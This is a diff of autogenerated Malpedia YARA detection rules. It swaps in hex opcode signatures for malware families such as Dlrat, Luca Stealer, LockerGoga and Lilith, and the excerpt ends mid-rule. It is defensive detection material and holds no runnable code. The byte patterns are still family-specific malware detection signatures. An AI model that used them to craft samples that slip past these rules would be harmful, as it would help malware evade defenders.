quality = 75 tags = "FILE" @@ -122494,32 +122392,32 @@ rule MALPEDIA_Win_Hamweq_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff500c 56 e8???????? 8b06 } - $sequence_1 = { 8d8500feffff 50 ff5148 8b4e08 8b06 ff7138 } - $sequence_2 = { ff5744 50 8d8500feffff 50 } - $sequence_3 = { 51 ff5038 b906030000 33c0 80bdfcfdffff5c } - $sequence_4 = { 0f847a030000 85c0 0f8472030000 ff35???????? ff75f8 ffd6 } - $sequence_5 = { 50 8d45e0 50 ff750c 56 e8???????? 83c410 } - $sequence_6 = { ff7508 ff5020 8b4e08 8b06 ffb180010000 8d8decfeffff 51 } - $sequence_7 = { 8b0e ff30 33db ff5144 } - $sequence_8 = { 3ad0 742d 8b4c2414 8bd6 2bd1 8a19 3ad8 } - $sequence_9 = { 33c0 8dbdfcfdffff f3ab 8b4e08 8b06 ffb1e8000000 8d8dfcfdffff } + $sequence_0 = { 8945ca 8b45f4 83c036 66c745c8424d } + $sequence_1 = { 8b45e0 8b4df4 53 50 8d440828 50 } + $sequence_2 = { 8a8010132a00 83e00f eb02 33c0 0fbe84c130132a00 c1f804 } + $sequence_3 = { 8d45fc 50 e8???????? 59 8d44180c } + $sequence_4 = { 57 8d859c7cffff 6a00 50 e8???????? 57 } + $sequence_5 = { 2900 59 352900be35 2900 3236 2900 98 } + $sequence_6 = { 83c418 8d45ec 53 50 8d857cbcffff } + $sequence_7 = { 85c0 0f84be000000 8d85c0feffff 50 8d85b8fcffff 68???????? 50 } + $sequence_8 = { 83c01f 894d8c 99 59 8b75b8 f7f9 8b4df4 } + $sequence_9 = { 8d45f0 8975ec 50 8d45f8 } condition: - 7 of them and filesize < 24576 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Mangzamel_Auto : FILE +rule MALPEDIA_Win_Dlrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eb9c7043-77a1-5f0e-9ec6-79bacd6f6a15" + id = "7bb91210-a1a6-58a8-9c5b-ff8edf88b110" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mangzamel_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dlrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dlrat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "1febff50405236297e35d0651b3a25a3fa9330c560b764c64ec02cac2724b444" + logic_hash = "a3f1e1206cd1c309e34cacc09c3103fc944a2e61c558b93390de2cb1efae2fc5" score = 75 quality = 75 tags = "FILE" @@ -122533,32 +122431,32 @@ rule MALPEDIA_Win_Mangzamel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bce e8???????? 8b45dc 33ff 85c0 } - $sequence_1 = { e8???????? 8d8564ffffff c745e40d011133 50 e8???????? 83c428 40 } - $sequence_2 = { 57 8d4dec c645fc02 e8???????? 85c0 0f8e95000000 57 } - $sequence_3 = { 7412 ff7508 8d4e08 50 e8???????? 8b450c 894624 } - $sequence_4 = { 6aff 57 68???????? 8d4de4 e8???????? 8bce e8???????? } - $sequence_5 = { e8???????? 8d45ec 68???????? 50 e8???????? 83c41c 8d45ec } - $sequence_6 = { e8???????? 57 e8???????? 59 55 8d4b20 } - $sequence_7 = { 8bc8 c1e910 c1e818 880a 33ff 897514 8b4d14 } - $sequence_8 = { 8b06 8365fc00 8bce b301 ff5010 3d04000102 } - $sequence_9 = { eb34 68???????? 57 ffd6 59 85c0 59 } + $sequence_0 = { 488d0de60b1600 e8???????? 488975b0 4989d9 4531c0 baaa020000 488d0dcb0b1600 } + $sequence_1 = { 488d1df28e0500 48895dc8 48c745c011000000 488d55c0 488d0dcb8e0500 48894dd8 48c745d009000000 } + $sequence_2 = { e8???????? 85c0 7818 3de4000000 7311 4898 488d0d723b0100 } + $sequence_3 = { e8???????? 83fb01 7754 488d05aa270b00 488945a8 48c745a000000000 488d55a0 } + $sequence_4 = { 48ffc0 482bd8 48899df0fcffff 488b9de8fcffff 4803d8 48899df8fcffff 488d0513701600 } + $sequence_5 = { 488b8d20ffffff 4883ec20 e8???????? 4883c420 4889c2 488d0de71f1800 4883ec20 } + $sequence_6 = { 41c64424076c 41c644240863 41c644240979 41c644240a39 41c644240b6f 41c644240c5a 41c644240d57 } + $sequence_7 = { 488b03 488985a0fcffff 488995a8fcffff 488b3d???????? 488b97b0000000 488b87a8000000 488985b0fcffff } + $sequence_8 = { e8???????? 48c745b000000000 4c8bce 4c8bc3 ba2f070000 488d0d5e411500 e8???????? } + $sequence_9 = { ffc1 e8???????? 48894580 48895588 488d4580 48898520ffffff 488d1d6a691000 } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 4121600 } -rule MALPEDIA_Win_Imprudentcook_Auto : FILE +rule MALPEDIA_Win_Luca_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e985dc9d-907c-5ecd-b391-7678328944ea" + id = "962fd693-32a3-53ad-92cd-b5debbabca20" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.imprudentcook" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.imprudentcook_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.luca_stealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "df9f920c4e9fbf5202cbb078d209a88f010a87e5e4d8cea3492e3733d1c90a2b" + logic_hash = "41100df83b0cacd06b9716ae5b8e2710b883cf9f1a3da041c06d57097240cc33" score = 75 quality = 75 tags = "FILE" @@ -122572,32 +122470,32 @@ rule MALPEDIA_Win_Imprudentcook_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 49f7d0 48c1ef20 498bc0 48897c2420 48f7f7 488bc8 } - $sequence_1 = { 4981fd541f0000 7c24 488d0c5b 4881f9aa0f0000 7c17 488bcf 48895c2420 } - $sequence_2 = { 4c8d45f8 488d550f 488d4de7 4889442420 e8???????? 488d4d1f ff15???????? } - $sequence_3 = { 7303 4d03d7 488bca 48c1ea20 418bc3 48c1e120 4803c8 } - $sequence_4 = { 4c8bc7 498bd7 488bce 4889442420 e8???????? eb10 488bf5 } - $sequence_5 = { 488d55e7 483bc1 498bca 7d12 488b45df 4c894c2428 4d8bc8 } - $sequence_6 = { 458bda 488bd0 4885c0 783d 482bc7 498d0cc4 498bc5 } - $sequence_7 = { 493b45f0 752b 4883c8ff 498bd5 498bce 492bd7 492bcf } - $sequence_8 = { 4d892cc4 4f8d2cfc 4c8bcf 4d8bc5 498bd4 e8???????? 488bdf } - $sequence_9 = { 488b8424a0000000 4d8bc4 4889442420 e8???????? 4883c450 415f 415e } + $sequence_0 = { eb0a f6471280 7504 6683e914 4d85f6 7416 6641395e10 } + $sequence_1 = { e8???????? 85c0 7428 85db 7524 488d0daee71600 e8???????? } + $sequence_2 = { e9???????? 4156 56 57 53 4883ec28 83791803 } + $sequence_3 = { e8???????? 4c8d4768 4889f1 ba03003000 e8???????? 4883c770 4889f1 } + $sequence_4 = { eb06 492130 412131 488b5c2430 8bc6 488b742438 488b7c2440 } + $sequence_5 = { 8d507e 448d4301 e8???????? 8b442458 448d4301 448bce 89442420 } + $sequence_6 = { e9???????? 48b8af39a3b04c5dea12 c3 56 4883ec20 4889ce 89f0 } + $sequence_7 = { ff15???????? 4438bfa8010000 740c 488b8fe8010000 e8???????? 488bcf e8???????? } + $sequence_8 = { e8???????? 488d8d60110000 e8???????? 488d8d501f0000 e8???????? 488d15683a2c00 488db560110000 } + $sequence_9 = { e9???????? 488d542468 48c70205000000 e9???????? 488d542468 48c70202000000 eb7d } condition: - 7 of them and filesize < 864256 + 7 of them and filesize < 9285632 } -rule MALPEDIA_Win_Buterat_Auto : FILE +rule MALPEDIA_Win_Lockergoga_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0069324a-e70e-54da-b752-be0a297a08d5" + id = "c3b2e831-52cd-5711-8143-4c283c706434" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buterat_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockergoga_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "2a55e665ba3ad4c5f4e76ca6aa40a42d86bc8aa495194478ad6bc52271aa15de" + logic_hash = "679ed446af7bd76c538308594efebe8a71cc5f0a66dc5648e19b704e8ba83810" score = 75 quality = 75 tags = "FILE" @@ -122611,32 +122509,32 @@ rule MALPEDIA_Win_Buterat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7644 8b9ea05b4100 8d8e645a4100 8b11 395508 7305 895508 } - $sequence_1 = { 7e27 8b04b5e8034100 66833800 7508 8bc3 eb0d 33c0 } - $sequence_2 = { 85f6 7508 81ffb7000000 7514 8d8590f5ffff 50 be???????? } - $sequence_3 = { ff15???????? 85c0 8b4d14 8901 7505 2145fc } - $sequence_4 = { 85c0 0f849c010000 8d4dfc 51 53 68???????? e8???????? } - $sequence_5 = { 50 e8???????? 83c414 85c0 744e 68???????? 53 } - $sequence_6 = { 397df4 7477 813d????????60010000 7e6b 393d???????? 7463 bb00100000 } - $sequence_7 = { 8945fc 53 6800000080 53 53 ff7508 ff35???????? } - $sequence_8 = { 50 53 ffd7 b9???????? 8d8500f8ffff e8???????? 6a01 } - $sequence_9 = { c3 55 8bec b840180000 e8???????? ff15???????? 66833d????????00 } + $sequence_0 = { e8???????? 83c718 83c618 897dec 3bf3 75eb 8bc7 } + $sequence_1 = { 84c0 7405 8b7608 eb4e 8b8564ffffff 80780d00 743a } + $sequence_2 = { c645fc1b e8???????? 8d4db4 c645fc0e e8???????? 8b4d9c 8b06 } + $sequence_3 = { 56 83c0c8 50 e8???????? 837d9000 c745a800000000 0f8691000000 } + $sequence_4 = { 57 8d4d9c e8???????? 8b7da0 8b45cc c645fc0b } + $sequence_5 = { 8365ec00 ff75ec e8???????? 59 0fb6c0 85c0 7408 } + $sequence_6 = { 51 50 e8???????? 8b45ec 83c408 c7461000000000 c746140f000000 } + $sequence_7 = { 895108 50 8bce e8???????? 8b560c 8d4508 50 } + $sequence_8 = { 6a08 8975ec c7450800000000 c70600000000 c7460400000000 c7460800000000 c7460c00000000 } + $sequence_9 = { 8b4da0 c6400100 8808 e9???????? b8ffffff7f 2bc1 83f801 } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 2588672 } -rule MALPEDIA_Win_Decaf_Auto : FILE +rule MALPEDIA_Win_Paladin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c019d263-a899-5660-aa15-798e52adcd92" + id = "ea744185-35d7-56b0-b303-642060848578" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.decaf_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.paladin_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "8c05c17767eead1f69d9ac7eb9dd704aba24d34223075b108957952ecaf7a6e5" + logic_hash = "666d7127e3e5da62ea89e9776cb09bdea95055b6e6b5094287262ef9a36c1b71" score = 75 quality = 75 tags = "FILE" @@ -122650,32 +122548,32 @@ rule MALPEDIA_Win_Decaf_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d6c2460 48c744247000000000 31c0 31c9 31d2 bb02000000 be67000000 } - $sequence_1 = { eb11 488d7818 488b8c2438240000 e8???????? 488b8c2470060000 48894808 833d????????00 } - $sequence_2 = { 44886c2446 440fb66c2464 44886c2445 440fb66c245d 44886c2444 440fb66c2466 44886c2443 } - $sequence_3 = { e9???????? 4983f806 754d 4c8d4301 4c39c6 7331 488d051d4d0f00 } - $sequence_4 = { eb14 488d7818 488b8c24081b0000 0f1f00 e8???????? 488b8c24080b0000 48894808 } - $sequence_5 = { e8???????? 488b0d???????? 48898c24e0000000 488d052c9c1300 e8???????? 833d????????00 750e } - $sequence_6 = { 488b6c2410 4883c418 c3 488d05f5bb1b00 48890424 e8???????? 450f57ff } - $sequence_7 = { e8???????? b911000000 4889c7 4889de 31c0 488d1d94e71700 e8???????? } - $sequence_8 = { e8???????? 488b442478 488b4c2470 488b942488000000 ebbd 90 488d05bfff1d00 } - $sequence_9 = { eb14 488d7818 488b8c2470220000 0f1f00 e8???????? 488b8c24a8030000 48894808 } + $sequence_0 = { 8b5d00 3bdd 7447 8d4c2414 6a00 8bc3 8b1b } + $sequence_1 = { 03fd ff15???????? 8b4620 85c0 7e44 33c9 8a4e1c } + $sequence_2 = { 40 3bc6 7cf2 6a00 } + $sequence_3 = { 894664 8b465c 6a00 57 8b3d???????? 6a00 } + $sequence_4 = { 7c02 8bc1 57 8bce 894638 e8???????? } + $sequence_5 = { c1e004 03c2 33d2 8a11 8d04c0 8d0443 } + $sequence_6 = { e8???????? 8d442418 6a04 50 8bcb e8???????? 8d4c2424 } + $sequence_7 = { 6a00 6880000000 6a03 6a00 6a01 8d451c 6800000080 } + $sequence_8 = { 56 ff95a4feffff 85c0 7412 6820030000 } + $sequence_9 = { 8d69f3 55 e8???????? 8bf0 55 } condition: - 7 of them and filesize < 7193600 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Banatrix_Auto : FILE +rule MALPEDIA_Win_Laziok_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6974f81a-af90-539d-af3d-94a99f9a6ee8" + id = "79b2ce92-e42d-5fec-a687-7e4fbea19571" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banatrix_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laziok_auto.yar#L1-L101" license_url = "N/A" - logic_hash = "c6cf826d5b4f12a87f113cad069f8b787ae4fd983cd321b74f5d11035bda50a6" + logic_hash = "621f5999fd77cd3089a05c94f9c8d680d38cd15a4fe64826e89765eb3b0323fd" score = 75 quality = 75 tags = "FILE" @@ -122689,32 +122587,30 @@ rule MALPEDIA_Win_Banatrix_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8b470c 85c0 74e3 } - $sequence_1 = { 8b45cc d16dd0 8b4dd0 8d34c8 8b0e 81e1ffffff7f 034dc8 } - $sequence_2 = { 0f44d0 e9???????? 7418 8b75d4 } - $sequence_3 = { 89c2 ebe0 0f86dc000000 8d7101 } - $sequence_4 = { 5f 5d c3 55 89e5 83ec28 8b4514 } - $sequence_5 = { 8d4101 c74424080a000000 890424 c745e400000000 e8???????? 89c6 } - $sequence_6 = { 894314 8b4510 897b04 c7430800000000 c7431000000000 } - $sequence_7 = { 010c37 ff45d0 ebcb 01fa ebb4 8b7dd0 } - $sequence_8 = { e8???????? 895c2408 c744240400000000 890424 e8???????? 83ec0c } - $sequence_9 = { 83ec10 85c0 8945d4 7542 8b45d0 c744240c04000000 c744240800300000 } + $sequence_0 = { 751a ff7610 ff15???????? 56 } + $sequence_1 = { 59 85c0 740a 8b4c240c 8b742408 8901 } + $sequence_2 = { 8bc6 5e c20800 55 8bec 81ec04010000 } + $sequence_3 = { 668945f0 8b4604 8945f4 0fb74608 } + $sequence_4 = { ff74240c 33f6 ff35???????? e8???????? } + $sequence_5 = { 668945f2 8b460c 85c0 7404 8b00 eb03 } + $sequence_6 = { 7513 6a00 ff7510 ff750c ff7608 ff15???????? eb3f } + $sequence_7 = { e8???????? 59 59 85c0 740d 3bc7 } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 688128 } -rule MALPEDIA_Win_Danabot_Auto : FILE +rule MALPEDIA_Win_Woody_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d405be96-12b3-5521-8438-92276494b614" + id = "8c748e16-00b8-5127-9604-d62e3d04f71e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danabot_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woody" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woody_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "d0742d8634d1bfb6b6cd9fd56080ad6a40985205234e33c349c6b1c80cbce68a" + logic_hash = "3fdba1a84cd03f528c200b6a293fddfa54111448f7301420a9273bbb05f0134b" score = 75 quality = 75 tags = "FILE" @@ -122728,32 +122624,32 @@ rule MALPEDIA_Win_Danabot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b701c ad 0f1f00 8b4008 } - $sequence_1 = { 83f838 730b ba38000000 2bd0 } - $sequence_2 = { 8d45f8 50 6804010000 8d85e8fdffff 50 } - $sequence_3 = { e8???????? 8b03 50 8b442440 } - $sequence_4 = { e8???????? eb0e 8d541d00 8bc6 e8???????? 83c340 8d433f } - $sequence_5 = { 33c9 ba44000000 e8???????? c745b844000000 33c0 8945c0 } - $sequence_6 = { e8???????? 50 6aff 8bc6 e8???????? 50 6a01 } - $sequence_7 = { 8b55f4 8d45f8 e8???????? 8b55f8 8bc7 } - $sequence_8 = { 6a0e 8b45f8 50 ff15???????? 84c0 7447 33c0 } - $sequence_9 = { e8???????? 8bd8 8b17 8bc2 85c0 7407 83e804 } + $sequence_0 = { 33c0 83e103 c744241004010000 f3a4 bfc0a60110 83c9ff f2ae } + $sequence_1 = { 8d4ddc 51 ff75e8 50 ff15???????? 85c0 0f8417010000 } + $sequence_2 = { 83c008 83c308 3b4510 75e7 8b4604 50 894508 } + $sequence_3 = { 5d 5b c20800 8b5114 8b690c 8b4910 8bc2 } + $sequence_4 = { ff15???????? 85c0 7404 b001 5e c3 } + $sequence_5 = { 83c408 85f6 751e 68ee050000 50 } + $sequence_6 = { 5e 83c2fc 895508 895108 5d c20400 55 } + $sequence_7 = { 89742458 0f8c78ffffff 8b442454 8d0c92 8b542448 5f c1e102 } + $sequence_8 = { 8ba880000000 85ed 0f84ae000000 8b8884000000 85c9 0f84a0000000 8b443d10 } + $sequence_9 = { 85c0 7447 6a10 8d45e0 6a00 50 e8???????? } condition: - 7 of them and filesize < 237568 + 7 of them and filesize < 409600 } -rule MALPEDIA_Win_Spygrace_Auto : FILE +rule MALPEDIA_Win_Lowzero_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3c99942d-74fe-50f1-a9c2-d735c42e0b85" + id = "0ac2a079-cc7d-5a01-943f-6fc6cc4cbe31" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spygrace" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spygrace_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowzero_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "4d1aafea2b2d6148a5221a777c3a4ed202ce4fd229ea04549615dae7ae9b5684" + logic_hash = "f28e102152915a4d88e2eb7305099c61405576886b21971bd223760dea8f3689" score = 75 quality = 75 tags = "FILE" @@ -122767,32 +122663,71 @@ rule MALPEDIA_Win_Spygrace_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 742a 488bc5 4c8d05d90c0300 488bcd 48c1f906 83e03f } - $sequence_1 = { 488bc3 48397b18 7203 488b03 48894c2430 4889442428 48c744242013000000 } - $sequence_2 = { bb01000000 4533e4 448d4b5b 6644394c48fe 7440 483bca 731c } - $sequence_3 = { 488d4db0 48837dc808 480f434db0 ffd2 85c0 0f85b0010000 4d8d86a0020000 } - $sequence_4 = { 490f42c0 488d4dd0 48837de808 480f434dd0 4c2bc0 4c8945e0 4e8d044502000000 } - $sequence_5 = { 488d4d1f e8???????? 90 488b4b10 48b8ffffffffffffff7f 482bc1 4883f807 } - $sequence_6 = { 4c8b4110 488bf1 4d85c0 b901000000 490f45c8 488be9 } - $sequence_7 = { e8???????? e9???????? 49638dd0330000 e8???????? 4889442448 498bce be10000000 } - $sequence_8 = { 488d05bbc60200 4889442460 488d05c7c60200 4889442468 488d05cbc60200 4889442470 488d05cfc60200 } - $sequence_9 = { 498bc8 e8???????? 4883a31004000000 488bcb 48c783180400000f000000 c6830004000000 4883c420 } + $sequence_0 = { 5e 5b c70016000000 33c0 } + $sequence_1 = { 33c0 8be5 5d c3 e8???????? 5f 5e } + $sequence_2 = { 5d c3 8b4b3c 894df8 8d81f8000000 3bd0 72e0 } + $sequence_3 = { 2bce 894df0 8d9b00000000 8d1c31 ff7734 85c0 } + $sequence_4 = { 4b 75f7 8b4d0c 3b7dfc 0f8255feffff } + $sequence_5 = { 47 2bc8 8d4602 03c3 3b450c } + $sequence_6 = { 8b3e 0fb74706 3945f8 0f8c5affffff } + $sequence_7 = { 83fa40 7310 6a0d ff15???????? 5e 33c0 5b } + $sequence_8 = { 8b45f8 ff740854 51 56 } + $sequence_9 = { 8806 46 47 e9???????? 8bda } + + condition: + 7 of them and filesize < 433152 +} +rule MALPEDIA_Win_Minipocket_Auto : FILE +{ + meta: + description = "autogenerated rule brought to you by yara-signator" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "4bfe3841-9649-5ffe-8c95-c50da79d5d8c" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minipocket" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minipocket_auto.yar#L1-L121" + license_url = "N/A" + logic_hash = "f99d6584928c86c24bca7d34fc6463d62a033b67ff2c46d0cd8c512898739c50" + score = 75 + quality = 75 + tags = "FILE" + version = "1" + tool = "yara-signator v0.6.0" + signator_config = "callsandjumps;datarefs;binvalue" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 83f83b 0f87ba000000 8b7df0 8bc7 } + $sequence_1 = { 488364242800 4533c9 488364242000 488bc8 458d4110 } + $sequence_2 = { 456bc021 4403c0 ffc7 8bc7 8a0417 84c0 75eb } + $sequence_3 = { 4c8d9c24d0020000 498b5b18 498b7b20 498be3 } + $sequence_4 = { c744245492469e5a ff15???????? 488bd8 4883f8ff 0f8412010000 488364243000 488d542450 } + $sequence_5 = { 410fb70449 6685c0 75ea 413bd3 7419 413bd2 } + $sequence_6 = { eb11 0fbec0 456bc021 4403c0 ffc7 8bc7 } + $sequence_7 = { 498b4010 4c8b00 eb30 410fb701 } + $sequence_8 = { 443bc5 7421 ffc1 4983c204 3bce 72ca 33c0 } + $sequence_9 = { 7474 ba68000000 488d4d80 e8???????? ba18000000 c7458068000000 488d4c2460 } condition: - 7 of them and filesize < 865280 + 7 of them and filesize < 34816 } -rule MALPEDIA_Win_Combos_Auto : FILE +rule MALPEDIA_Win_Lilith_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cc69e396-00ed-59a2-ba11-780fc1f2665b" + id = "b5f168af-a3f0-50f9-b1ea-d5b831d2999b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.combos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.combos_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lilith_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "197be11859075969cf043a035f09c4b79bbdaf0b1f0ee080745a9acd79282960" + logic_hash = "24d3c4eccb2438b08f77ee93becbd460d6cfbdd1ec4e6b4842ec58df50e21530" score = 75 quality = 75 tags = "FILE" @@ -122806,32 +122741,32 @@ rule MALPEDIA_Win_Combos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f3ab c1e604 aa 8d9e50120110 803b00 8bcb } - $sequence_1 = { 899ddcfeffff 899dd4feffff 895dfc 8b4508 } - $sequence_2 = { e8???????? 8b35???????? 83c408 6a0a ffd6 a1???????? } - $sequence_3 = { 81ec00020000 57 b93f000000 33c0 8d7c2405 } - $sequence_4 = { 0bc5 33c1 8b848600ffffff 0bc7 5f 5e } - $sequence_5 = { 6800010000 51 57 ffd6 8d542408 } - $sequence_6 = { 33ff 89bdccfeffff 89bdc8feffff c785a0feffff24000000 c785a4feffff03000100 c785a8feffff08000000 8d85c8feffff } - $sequence_7 = { 6a00 56 8b74243c 56 ffd3 83c428 } - $sequence_8 = { 80c120 888800190110 eb1f 83f861 } - $sequence_9 = { 33c0 89442418 8944241c 85db } + $sequence_0 = { 81784800374300 7409 ff7048 e8???????? 59 c70701000000 8bcf } + $sequence_1 = { 8b7d08 8bd9 33f6 0f1f00 6a00 } + $sequence_2 = { e8???????? 8d4dd4 e8???????? 83c418 b9???????? 50 e8???????? } + $sequence_3 = { 57 56 ff15???????? ff75a0 8b35???????? ffd6 ff75a4 } + $sequence_4 = { 33c0 663b8880974200 740d 83c002 } + $sequence_5 = { 8d3c85d04a4300 8b0f 85c9 740b 8d4101 f7d8 1bc0 } + $sequence_6 = { 8d4dd4 50 e8???????? 8d4db4 e8???????? } + $sequence_7 = { c7411400000000 6a00 c741140f000000 c7411000000000 68???????? 8801 } + $sequence_8 = { c745fc00000000 0f57c0 6a00 50 } + $sequence_9 = { e8???????? 8b0d???????? e8???????? eb10 ff75dc 8b35???????? ffd6 } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 499712 } -rule MALPEDIA_Win_Phantomcore_Auto : FILE +rule MALPEDIA_Win_Powerloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2be56282-528c-5044-bd7b-3727ed618862" + id = "c50a3558-9d40-5d02-8dcc-a013fb97306d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phantomcore" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phantomcore_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerloader_auto.yar#L1-L106" license_url = "N/A" - logic_hash = "ee848610d848563fe98dd89814048251462308bba35e0801488bbe21ef0c4142" + logic_hash = "c426c342e944500b9eabe80251134c6aa09970a7034e66d9d42756bf84d7595a" score = 75 quality = 75 tags = "FILE" @@ -122845,34 +122780,34 @@ rule MALPEDIA_Win_Phantomcore_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d45d0 8d4da8 68???????? 50 e8???????? c745f001000000 8d45c0 } - $sequence_1 = { e9???????? 8b16 0f57c0 0f1145c8 83f803 bf03000000 0f42f8 } - $sequence_2 = { 8b65e8 83c50c c745f0ffffffff ff75d8 ff15???????? ff75d8 ff15???????? } - $sequence_3 = { c78634020000cc734b00 c7864402000018714b00 8d8648020000 50 e8???????? 83c404 c7863402000018714b00 } - $sequence_4 = { eb11 8975d8 50 e8???????? 83c404 89c1 8b45d8 } - $sequence_5 = { c745c818714b00 8d4dcc c745d000000000 c745cc00000000 c745c026f64b00 c645c401 8d45c0 } - $sequence_6 = { c7443a480f000000 c6443a3400 8d1c3a 83c34c 83c74c 39cb 0f8571ffffff } - $sequence_7 = { e8???????? 83c410 68???????? 8d852cffffff 50 e8???????? 83c408 } - $sequence_8 = { ff431c c7431800000000 c74344e1c94b00 b80e000000 e9???????? 